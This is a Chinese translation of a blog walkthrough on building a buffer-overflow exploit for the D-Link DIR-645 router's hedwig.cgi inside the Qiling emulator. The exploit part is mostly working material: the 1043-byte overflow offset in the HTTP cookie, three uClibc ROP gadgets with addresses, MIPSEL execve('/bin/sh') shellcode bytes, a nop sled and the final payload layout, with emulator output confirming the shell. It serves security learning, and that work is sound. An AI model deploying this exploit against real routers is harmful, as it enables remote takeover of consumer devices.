使用Qiling分析Dlink DIR-645中的缓冲区溢出(part II)
原文链接:https://github.com/nahueldsanchez/blogpost_qiling_dlink_2
介绍
在研究学习使用qiling
框架对路由器固件进行分析的过程中,在先知发现了有前辈搬运并翻译了这篇文章的第一部分,第二部分个人感觉也是很精彩,尝试翻译一下。
目录
- 构造exp
- 使系统调用能够“工作”
- 构造能够在
qiling
框架下工作的exp - 参考资料
构造exp
通过阅读第一部分,我们在之前的步骤中确定了漏洞的位置,如何去触发这个漏洞以及造成他的根本原因,我们基于之前的工作,知道了程序 将会在 0x0040c594
这个地址触发崩溃,既函数hedwig_main
:
...
0040c58c c4 04 b1 8f lw s1,param_12(sp)
0040c590 c0 04 b0 8f lw s0,param_11(sp)
0040c594 08 00 e0 03 jr ra
...
我们也知道我们要覆盖堆栈中的很多内存,并且我们控制了大量的寄存器:
...
[-] s0 : 0x41414141
[-] s1 : 0x41414141
[-] s2 : 0x41414141
[-] s3 : 0x41414141
[-] s4 : 0x41414141
[-] s5 : 0x41414141
[-] s6 : 0x41414141
[-] s7 : 0x41414141
[-] t8 : 0x8
[-] t9 : 0x0
[-] k0 : 0x0
[-] k1 : 0x0
[-] gp : 0x43b6d0
[-] sp : 0x7ff3c608
[-] s8 : 0x41414141
[-] ra : 0x41414141
[-] status : 0x0
[-] lo : 0x0
[-] hi : 0x0
[-] badvaddr : 0x0
[-] cause : 0x0
[-] pc : 0x41414140
...
考虑到这种情况,我的想法是用system
函数的地址覆盖返回地址,然后根据需要设置参数。我知道这是有用的,因为Metasploit中包含的exp就是如此。
为了检验我的假设,第一步,我决定摆脱所有复杂性并模拟(simulate)这个攻击过程。我的想法是分配一些内存,把我们要执行的命令写在这里,然后通过 改变返回地址指向到 system
函数以及把写有命令的内存地址加载到执行system
函数所需的寄存器中。
听起来有很大的工作量,让我们来测试一下:
...
RETURN_CORRUPTED_STACK = 0x0040c594 # 在上一篇文章中通过开启调试连接到gdb获得的初始化断点
QILING_SYSTEM = 0x0041eb50 # x/10i system 获得 system function addr
def simulate_exploitation(ql):
ql.nprint("** at simulate_exploitation **")
cmd = ql.mem.map_anywhere(20) # Qiling 分配20字节的块给我们并返回其地址
# 我们把我们的命令写在这里
ql.mem.string(command, "/bin/sh") # We write our string
ql.reg.a0 = command # 把 register a0 设置为我们命令的地址
ql.reg.ra = QILING_SYSTEM # 最后修改 $ra register
...
ql.hook_address(simulate_exploit, RETURN_CORRUPTED_STACK) # 当运行到ret的时候回调到 hedwig_main
ql.run()
正如你将看到的,模拟这个过程非常简单,让我们看看发生了什么:
...
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_wait4 DEBUG: [Errno 10] No child processes
ChildProcessError: [Errno 10] No child processes
...
看起来好像生效了,但感觉这里发生了什么问题。我想是当我们要执行到system
函数的某些时刻,system
尝试调用fork syscall
,但这种方式是qiling
不支持的。
为了验证我的想法我做了两件事:第一,我给 system
设置了一个断点,检查是否在某个时刻触发了这个断点;其次,为了更好的展示,我修改了system
函数执行的命令为exit
,让我们看一下又发生了什么:
def simulate_exploitation(ql):
...
ql.reg.ra = QILING_EXIT # 最后修改 $ra register
运行这个poc:
...
** at simulate_exploitation **
write(1,7756d038,114) = 0
HTTP/1.1 200 OK
Content-Type: text/xml
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>exit(4431872) = 4431872
...
好多了!如我们所见,程序通过调用正常退出exit()
。我们可以肯定,利用漏洞的想法是可行的!让我们努力将模拟的转换为真实的东西。
使系统调用能够“工作”
在阅读我在上一步中所做的工作时,我发现我直接利用exit
当shellcode是一个很偷懒的行为。我应该更加努力地尝试第一个想法去调用系统函数。基于此,我将更深入地研究如何进行这项工作。
我的第一个想法是检查为什么收到此错误:
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
我查看了syscall 0xfa2的类型,发现syscall 0xfa2是fork。有了这些信息,我使用了Qiling的扩展系统调用的能力,如下所示:
MIPS_FORK_SYSCALL = 0xfa2
...
# Code copied from lib/qiling/os/posix/syscall/unistd.py:380
def hook_fork(ql, *args, **kw):
pid = os.fork()
if pid == 0:
ql.os.child_processes = True
ql.dprint (0, "[+] vfork(): is this a child process: %r" % (ql.os.child_processes))
regreturn = 0
if ql.os.thread_management != None:
ql.os.thread_management.cur_thread.set_thread_log_file(ql.log_dir)
else:
if ql.log_split:
_logger = ql.log_file_fd
_logger = ql_setup_logging_file(ql.output, ql.log_file , _logger)
_logger_name = str(len(logging.root.manager.loggerDict))
_logger = ql_setup_logging_file(ql.output, '_'.join((ql.log_file, _logger_name)))
ql.log_file_fd = _logger
else:
regreturn = pid
if ql.os.thread_management != None:
ql.emu_stop()
...
ql.set_syscall(MIPS_FORK_SYSCALL, hook_fork)
我将fork
的实现作为一个测试,但它的效果特别棒!
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
vfork() = 24076
vfork() = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_execve DEBUG: Invalid memory read (UC_ERR_READ_UNMAPPED)
Traceback (most recent call last):
File "emulate_cgibin.py", line 143, in <module>
我们可以看到我们的函数的输出,更重要的是我们可以看到 从execve
这个系统调用中返回的错误信息,让我们得知最后execve
是被调用了的,证明了system
函数是被执行了的。为了修复这个错误,我通过 Qiling's magic 劫持了 execve
系统调用,并正确设置了寄存器以使调用正常进行:
MIPS_EXECVE_SYSCALL = 0xfab
...
def execve_onenter(ql, pathname, argv, envp, *args):
ql.nprint("at execve_onenter")
ql.reg.a1 = 0
ql.reg.a2 = 0
ql.nprint(ql.mem.string(pathname))
ql.nprint(ql.mem.string(argv))
...
ql.set_syscall(MIPS_EXECVE_SYSCALL, execve_onenter, QL_INTERCEPT.ENTER)
输出:
...
vfork() = 24229
vfork() = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
at execve_onenter
/bin/sh
PdUwTdUw
execve(/bin/sh, [], [])
ioctl(0x0, 0x540d, 0x7ff3c5b0) = -1
ioctl(0x1, 0x540d, 0x7ff3c5b0) = -1
[!] Emulation Error
...
YES! 我们看到了 execve
系统调用我们的命令后的输出,现在让我们看看怎么让它不需要模拟在真实环境正常工作。
回到我们的主要主题,让我们快速回顾一下代码容易受到攻击的地方:
在hedgiwcgi_main
函数中, 感谢Ghidra让我们能够去反汇编这段代码,我只把有用的部分拷贝出来。
...
sess_get_uid(iVar1);
uVar2 = sobj_get_string(iVar1);
sprintf(acStack1064,"%s/%s/postxml","/runtime/session",uVar2);
...
首先,代码处理我们的请求并获得UID,然后在sprintf
语句中使用UID来构建存储在堆栈中的路径。当我们控制UID时,我们可以覆盖堆栈并最终覆盖保存的返回地址。Ghidra可以帮助我们告诉我们 acStack1064
是什么类型,检查反编译的代码,就会在hedwigcgi_main
开始时发现:
char acStack1064 [ 1024 ];
我们知道,至少需要1024个字节来填充此变量,然后加上 X个byte 使得我们能够覆盖返回地址,这里有几种计算方法:
通过一段循环pattern,来确定哪一部分覆盖了$ra (gdb create_pattern )
另一个选择是检查 当返回地址改为
0x0040c568
的时候,我们可以看到它是从哪个内存地址读取的:... 0040c568 e4 04 bf 8f lw ra,param_20(sp) -> Stack[0x4e4] ...
我们可以通过使用gdb来获得这些信息,在调用sprintf
之后设置一个断点并做一下简单的数学运算:
- 我们知道我们的目标缓冲区位于
0x7ff3c1e0
- 我们知道我们保存的返回地址位于
0x7ff3c604
($sp+0x4e4) - 0x7ff3c604-0x7ff3c1e0 = 1060 bytes 但我们必须考虑固定字符串, len(/runtime/session/) -> 17(/runtime/session/是发送的固定字符串 在hedgiwcgi_main 的代码那里可以看到)
这使我们总共有1043个字节。让我们测试一下。我们通过 1043个A来填满变量,通过BBBB覆盖返回地址。我在指令恢复到$ra寄存器之后返回之前设置了一个断点。
...
buffer = "uid=%s" % ("A" * 1043)
buffer += "BBBB"
required_env = {
"REQUEST_METHOD": "POST",
"HTTP_COOKIE" : buffer
}
ql = Qiling(path, rootfs, output = "none", env=required_env)
...
输出:
...
0x40c568 <hedwigcgi_main+1448> lw ra, 1252(sp)
→ 0x40c56c <hedwigcgi_main+1452> move v0, s7
...
Breakpoint 1, 0x0040c568 in hedwigcgi_main ()
...
$pc : 0x0040c56c
$sp : 0x7ff3c4e8
$hi : 0x0
$lo : 0x0
$fir : 0x0
$ra : 0x42424242 ("BBBB"?)
...
是有效的!我们现在知道了可以用1043个byte去覆盖返回地址,我们可以在这1043个byte中去存储我们的shellcode 比如说 存储execve("/bin/sh")
然后跳转到这里。我先假设堆栈中的代码是可执行的(没有 NX保护位);做出这个假设是基于我对这些廉价路由器(emmmmmm)的了解以及Metasploit也是这样做的。
构造能够在qiling
框架下工作的exp
解决了上述问题后,我开始着手编写可在Qiling仿真环境中运行的漏洞利用程序。其背后的目标是:
- 了解更多关于MIPS的漏洞利用(在写博客之前我对它几乎完全不了解。)
- 继续学习Qiling
- Have fun ..
虽然我花了不少时间来完成这项工作,但我发现做这项工作有巨大的价值,让我学到了新东西,并进行了一些非常好的实践训练。
我开始在 Pedro Ribeiro's advisory针对具有相似特征的其他CVE研究我的想法。
我想到的计划是:
- 利用漏洞并覆盖返回地址
- 一旦能够控制程序的执行流,就可以重定向执行,执行Sleep以模拟在MIPS上执行的操作来确定exp是否可靠并处理缓存不一致性。
- 在堆栈中找到我的shellcode
- 重定向执行
了解MIPS调用约定的工作原理
完成第一步后,我决定做一个我认为是快速的测试:直接覆盖返回地址为 sleep
函数的地址,并设置模拟漏洞利用所需的参数:
通过gdb info functions <function name>
来确定Sleep
函数的地址,,但是返回的是映射到cgi-bin
二进制文件中的函数的地址,而不是libuClibc.so
库中的实际地址。
为了找到正确的地址,我按照下步骤操作:
- 我检查了这些代码行加载
libuClibc
到哪个地址
def simulate_exploit(ql):
import pdb
pdb.set_trace()
...
运行程序并进入PDB提供的Python shell后 ,使用ql.mem.show_mapinfo()
得到了:
...
[+] 774fc000 - 7755a000 - rwx [mmap] ../lib/libuClibc-0.9.30.1.so
[+] 7755a000 - 77569000 - rwx [syscall_mmap]
[+] 77569000 - 7756b000 - rwx [mmap] ../libuClibc-0.9.30.1.so
...
现在我们知道了我们的库加载到了0x774fc000
- 通过Ghidra打开
libuClibc-0.9.30.1.so
,找到了Sleep
函数的偏移。
uint __stdcall sleep(uint __seconds)
00066bd0 02 00 1c 3c lui gp,0x2
...
我得到了偏移 0x00066bd0
,然后我认为通过基础地址+偏移就可以得到函数的真实地址,但是经过反复试验并使用GDB检查其他函数地址后,我发现我需要减去0x10000,然后设计出了以下代码:
def calc_address(addr_offset):
LIBC_BASE = 0x774fc000
return LIBC_BASE + addr_offset - 0x10000
sleep
函数在此特定的lib中将位于 0x77552bd0
,有了这个地址我就尝试通过覆盖$ra寄存器来模拟漏洞利用。
def simulate_exploit(ql):
ql.nprint("** at simulate_exploitation **")
ql.reg.a0 = 1 # Seconds to sleep
ql.reg.ra = 0x77552bd0 # sleep uClibc
...
这次尝试惨遭失败,让我困惑了好几天,直到我发现如下博客:
这两篇文章都解释了MIPS的工作原理(我在此进行了总结),一旦调用了函数就不能只将重写$ra
为$t9
,$gp
寄存器也被使用了来计算内容,所以你需要在$t9寄存器中被调用函数的地址。
有了这些信息,我对上面的函数做了些微修改,以更改$t9
寄存器,这次测试可以正常进行:
...
ioctl(0x3, 0x540d, 0x7ff3c358) = -1
** at simulate_exploitation **
rt_sigprocmask(0x1, 0x7ff3c778, 0x7ff3c7f8, 0x10) = 0
nanosleep(0x7ff3c770, 0x7ff3c770) = 0 <--- Sleep 被执行了
...
使用ROP构造exp
测试成功后,我决定探索如何构建我认为可靠的利用脚本。为了做到这一点,我尽量避免修复uClibc以外的地址,并使用ROP。
为了能够做到这一点,我需要不同的ROP gadgets来执行前面提到的步骤。为了找到它们,我进行了一些(缓慢而痛苦的)的工作,并用 devtty0的Ghidra脚本.对其进行了补充。
注意:这些脚本存在一些问题,例如误报或无效的gadget。因此,我不得不通过一些手动搜索来补充工作。
为了能够将我的shellcode放入环境变量中,HTTP_COOKIE
我不得不对Qiling的代码进行一些修改以使其可以接受bytes
以及strings
:
注意:代码已经在那儿了,我不得不取消注释。
- Qiling's copy_str function:
def copy_str(self, addr, l):
l_addr = []
s_addr = addr
for i in l:
s_addr = s_addr - len(i) - 1
if isinstance(i, bytes):
self.ql.mem.write(s_addr, i + b'\x00')
else:
self.ql.mem.write(s_addr, i.encode() + b'\x00')
l_addr.append(s_addr)
return l_addr, s_addr
我需要的第一个gadget是执行sleep,同时在$a0中有一个相当小的值,它作为sleep睡眠几秒的参数,而且这个gadget需要允许我保持对执行流的控制。我发现了如下的一个gadget:
#Gadget 1 (calls sleep(3) and jumps to $s5)
#
# 0003bc94 03 00 04 24 li a0,0x3 ; Argument for sleep
# 0003bc98 21 c8 c0 03 move t9,s8 ; s8 points to sleep()
# 0003bc9c 09 f8 20 03 jalr t9
# 0003bca0 21 30 00 00 _clear a2
# 0003bca4 21 28 80 02 move a1,s4
# 0003bca8 0e 00 04 24 li a0,0xe
# 0003bcac 21 c8 a0 02 move t9,s5 ; Address of Gadget #2
# 0003bcb0 09 f8 20 03 jalr t9
# 0003bcb4 21 30 00 00 _clear a2
第二个(地址必须在$s5中)必须调整堆栈指针$sp以进入我的shellcode,并将其值放入寄存器:
# Gadget 2 (Adjusts $sp and puts stack addess in $s1)
#
# 0004dcb4 28 00 b1 27 addiu s1,sp,0x28
# 0004dcb8 21 20 60 02 move a0,s3
# 0004dcbc 21 28 20 02 move a1,s1
# 0004dcc0 21 c8 00 02 move t9,s0
# 0004dcc4 09 f8 20 03 jalr t9
# 0004dcc8 01 00 06 24 _li __name,0x1
在这个gadget被执行后,我让寄存器$s1指向堆栈中的代码,并且可以控制执行流来控制$s0寄存器的值。幸运的是,如果你记得的话,在博客文章的开始我们就控制了它。最后一个小工具必须执行$t9引用的代码:
# Gadget 3 (jumps to $s1 -> Stack)
# 0001bb44 21 c8 20 02 move t9,s1
# 0001bb48 09 f8 20 03 jalr t9
# 0001bb4c 03 00 04 24 _li __size,0x3
一旦有了所需的gadget,就需要我们要执行的shellcode execve(/bin/sh)
,我找到Firmware exploitation with JEB: Part 2blogpost:这篇博客中使用的
# execve shellcode translated from MIPS to MIPSEL
# http://shell-storm.org/shellcode/files/shellcode-792.php
# Taken from: https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404\
在这篇博客中我也找到了一个有用的nop sled,我也使用上了
# MIPS nopsled from https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/
buffer += b"\x26\x40\x08\x01" * 30 + shellcode
# ###########
完成所有步骤后,我唯一要做的就是使用以下结构构造我们最终的payload:
...
buffer = b"uid=%s" % (b"B" * 1003)
buffer += b"AAAA"
#buffer += b"0000"
buffer += pack("<I", calc_address(0x0001bb44)) #Gadget #3
buffer += b"1111" #$s1
buffer += b"2222" #$s2
buffer += b"1111" #$s3
buffer += b"4444" #$s4
#buffer += b"5555"
buffer += pack("<I", calc_address(0x0004dcb4)) #Gadget #2
buffer += b"6666" #$s6
buffer += b"7777" #$s7
#buffer += b"8888"
buffer += pack("<I", 0x77552bd0) # Sleep address
buffer += pack("<I", 0x77527c94) # Overwrites $ra with #Gadget #1
buffer += b"\x26\x40\x08\x01" * 30 + shellcode
来看一下输出:
...
** At [sess_get_uid] **
** Ret from sobj_add_string **
socket(1, 1, 0) = 3
fcntl(3, 2) = 0
connect(../squashfs-root/var/run/xmldb_sock) = -1
close(3) = 0
open(/var/tmp/temp.xml, 0x241, 0o666) = 3
ioctl(0x3, 0x540d, 0x7ff3c358) = -1
rt_sigprocmask(0x1, 0x7ff3c778, 0x7ff3c7f8, 0x10) = 0
nanosleep(0x7ff3c770, 0x7ff3c770) = 0
execve(//bin/sh, [], [])
ioctl(0x0, 0x540d, 0x7ff3c8c8) = -1
ioctl(0x1, 0x540d, 0x7ff3c8c8) = -1
...
我们可以看到:
- 我们以前博客中打印的字符串
- 调用
nanosleep
实现的sleep
- 最后调用执行
execve
完成工作!
如果要重现此内容,请转到qiling_dlink_exploit.py以获取Python脚本。
参考文献
https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/ - 分析此漏洞的博客文章。它看起来真的很有趣,并且提供了有趣的分析。
https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/ - 优秀的博客文章,帮助我了解了如何准备寄存器以使Shellcode在MIPS上工作。它还强调了对X86和MIPS的利用之间的一些关键区别。
https://www.lorem.club/~/Haskal@write.lain.faith/mips-rop -关于MIPS漏洞利用的非常好的文章
https://www.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v01 - 对于练习MIPS漏洞利用非常有用的项目
http://www.devttys0.com/2013/10/mips-rop-ida-plugin/ - MIPS rop plugin (IDA)
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt - Pedro Ribeiro Advisory for Multiple vulnerabilities in Dlink DIR routers HNAP Login function
https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf - EXPLOITING BUFFER OVERFLOWS ON MIPS ARCHITECTURES BY Lyon Yang